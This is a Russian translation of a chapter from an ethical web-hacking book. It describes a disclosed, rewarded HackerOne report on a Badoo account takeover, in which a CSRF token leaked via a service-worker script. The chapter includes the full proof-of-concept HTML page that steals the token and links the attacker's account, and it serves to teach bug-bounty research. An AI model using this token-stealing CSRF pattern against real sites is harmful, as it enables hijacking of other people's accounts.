Основы этичного веб-хакинга (перевод)

3. Полный захват аккаунта на Badoo

Сложность: Средняя 
Url: https://badoo.com 
Ссылка на отчет: https://hackerone.com/reports/127703¹⁴ 
Дата отчета: 1 апреля 2016 
Выплаченное вознаграждение: $852

Описание: 
Если вы взглянете на Badoo, выпоймете, что они защищают- 
ся от CSRF включением в URL параметра rt, который имеет 
длину всего в 5 символов (по крайней мере, на момент напи- 
сания). Хотя я заметил это, когда Badoo запустил кампанию 
на HackerOne, я не нашел способа это использовать. Однако, 
Махмуд Джамал (zombiehelp54) нашел. 
Поняв значение параметра rt, он также заметил, что параметр 
возвращался в почти всех json-ответах. К сожалению, это не 
принесло пользы, поскольку CORS защищает Badoo от атак, 
читая эти ответы. Махмуд продолжил искать. 
Оказалось, что файл https://eu1.badoo.com/worker-scope/chrome-service-worker.js 
содержит значение rt. Еще лучше было то, что этот файл 
мог быть произвольно прочитан атакующим и не требовал от 
жертвы никаких действий кроме посещения вредоносной веб- 
страницы. Вот код, который он предоставил: 
1 <html> 
2 <head> 
3 <title>Badoo account take over</title> 
4 <script src=https://eu1.badoo.com/worker-scope/chrome-s\ 
5 ervice-worker.js?ws=1></script> 
6 </head> 
7 <body> 
8 <script> 
9 function getCSRFcode(str) { 
10 return str.split(’=’)[2]; 
11 } 
12 window.onload = function(){ 
13 var csrf_code = getCSRFcode(url_stats); 
14 csrf_url = ’https://eu1.badoo.com/google/verify.phtml?c\ 
15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu\ 
16 ser=3&session_state=7cb85df679219ce71044666c7be3e037ff5\

17 4b560..a810&prompt=none&rt=’+ csrf_code; 
18 window.location = csrf_url; 
19 }; 
20 </script>

В общем, когда жертва загружала страницу, она делала запрос 
к скрипту Badoo, забирала параметр rt для этого пользователя 
и затем делала запрос от имени жертвы. В этом случае, это 
было связывание аккаунта Махмуда с аккаунтом жертвы, что 
позволяло полностью захватить аккаунт.

Выводы 
Где дым, там и огонь, Здесь Махмуд заметил, 
что параметр rt возвращался в разных местах, в 
конкретных json-ответах. Поэтому он правильно 
предположил, что он может быть показан где-то, 
где его можно будет использовать - в этом случае 
в js файле. 
Двигаясь дальше, если вы чувствуете, что что- 
то не так, продолжайте исследования. Используя 
Burp проверьте все ресурсы, к которым осуществ- 
ляется вызов, когда вы посещаете целевой сайт/- 
приложение,



Отредактировано: 08.03.2019





Понравилась книга?
Отложите ее в библиотеку, чтобы не потерять